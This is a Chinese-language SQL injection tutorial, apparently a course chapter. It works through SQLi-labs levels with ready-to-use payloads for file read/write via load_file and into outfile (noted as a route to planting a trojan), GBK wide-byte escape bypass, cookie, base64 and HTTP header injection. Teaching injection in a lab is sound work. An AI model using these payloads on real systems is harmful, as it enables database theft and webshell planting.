一：读写文件
我们也可以利用SQL注入漏洞读写文件，但是读写文件需要一定的条件。
前提条件：
1：secure-file-priv
可以在phpmyadmin中的导航栏的变量选项中看到该变量。
该参数在高版本的mysql数据库中限制了文件的导入导出操作，该参数可以写在my.ini配置文件中[mysqld]下。
路径：D:\phpStudy\MySQL\my.ini
若要配置此参数，需要修改my.ini配置文件，并重启mysql服务。
下图中没有任何东西，已经是处于：不限制mysqld的导入导出操作的状态
关于该参数值的说明：
| secure-file-priv参数配置 | 含义 |
|---|---|
| secure-file-priv= | 不限制mysql的导入导出操作 |
| secure-file-priv=‘c:/a/’ | 限制mysqld的导入导出操作发生在c:/a/下（子目录有效） |
| secure-file-priv=null | 限制mysqld，不允许导入导出操作 |
?
2：当前用户具有的文件权限
查询语句
select File_priv from mysql.user where user="root" and host="localhost";
3：知道要写入目标文件的绝对路径
读取文件操作
?id=33 and 1=2 union select 1,2,load_file('C:\\Users\\Administrator\\Desktop\\mysql_test.txt'),4,5,6,7,8,9,10,11,12,13,14,15 --+
写入文件操作
?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 into outfile "C:\\Users\\Administrator\\Desktop\\mysql_test2.txt" --+
打开mysql_test2.txt就会看到1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
这样就可以实现写入木马等操作了。
?
?
二：宽字节注入与SQLi-labs实验
宽字节注入准确来说不是注入手法，而是另外一种比较特殊的情况。为了说明宽字节注入问题，我们以SQLi-labs 32 关为例子。
使用[?id=1’]进行测试的时候，发现提交的单引号会被转义[’]。此时，转义后的单引号不再是字符串的标识，会被做为普通字符带入数据库查询。也就是说，
我们提交的单引号不会影响到原来SQL语句的结构。
我们通过阅读32关的源码，发现几句非常意思的代码，如下。
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
此网页在连接数据库时，会将字符编码设置为GBK编码集合，然后进行SQL语句拼接，最后进行数据库查询。
GBK编码依然采用双字节编码方案，其编码范围：8140-FEFE，剔除xx7F码位，共23940个码位。共收录汉字和图形符号21886个，其中汉字（包括部首和构件）21003个，图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字，并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布，这一版的GBK规范为1.0版。
转移字符[]的编码是5c，正好在GBK编码范围之内，也就是说我们可以在单引号之前提交一个十六进制编码的字符，与5c组成一个GBK编码的汉字。这样SQL语句传入数据库的时候，转义字符5c会被看作GBK汉字的低位字节编码，从而失去转义的作用。
如果我们提交这样的参数[?id=1000%df’ union select 1,2,3 --+]，就可以使用联合查询进行注入了。
0xdf5c 就一个汉字”運“。
?
我们打开http://10.157.14.169/sqli-labs-master/Less-32/ 这个页面，这里先看下即可，sqli-labs-master的部署，在48章会详细讲到。
这是默认界面：
输入?id=1
然后输入?id=1’ 发现页面也并没有发生变化。使用[?id=1’]进行测试的时候，发现提交的单引号会被转义[’]
所以当你输入
http://10.157.14.169/sqli-labs-master/Less-32/
?id=1' and 1=2 union select 1,2,3 --+
页面也不会发生改变。
当我们这样输入就会有变化了（页面报错）：
?id=1%df'
然后
http://10.157.14.169/sqli-labs-master/Less-32/
?id=1%df' and 1=2 union select 1,version(),3 --+
?
?
三：cookie注入
我们使用SQLi-labs第20关来说明cookie注入问题。
cookie注入的注入参数需要通过cookie提交，可以通过[document.cookie]在控制台完成对浏览器cookie的读写。
来到less-20，在控制台输入
document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"
刷新页面即可。
未输入document.cookie之前，输入账密：Dumb/Dumb
输入之后并刷新页面：
?
四：base64注入
我们以SQLi-labs 第22关来说明base64注入的问题。
base64注入也是比较简单的，只不过将注入字段经过base64编码。经过测试，发现22关属于cookie型的base64注入。我们可以使用报错注入手法，
payload
document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"
在控制台输入：
document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="
刷新网页即可。
未输入之前：
输入之后：
?
五：http头部注入
http头部注入就是指注入字段在HTTP头部的字段中，这些字段通常有User-Agent、Referer等。
User-Agent注入
如SQLi-labs 第18关
payload
User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
这里我们需要用到，burp suite软件，还有火狐浏览器的一个插件
这里先看看，47章节会做详细介绍。
拦截禁用点击一下，变成拦截请求。
然后我们返回浏览器，输入账密：Dumb/Dumb
然后点击：submit 按钮。
再返回到Burp Suite 界面
选中所有内容，右键发送
然后点击重发器
输入上面的命令语句，替换请求头内容
?
六：Referer注入
第19关，注入字段在Referer中
hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
和http头部注入方式一样，只不过替换的内容不同。
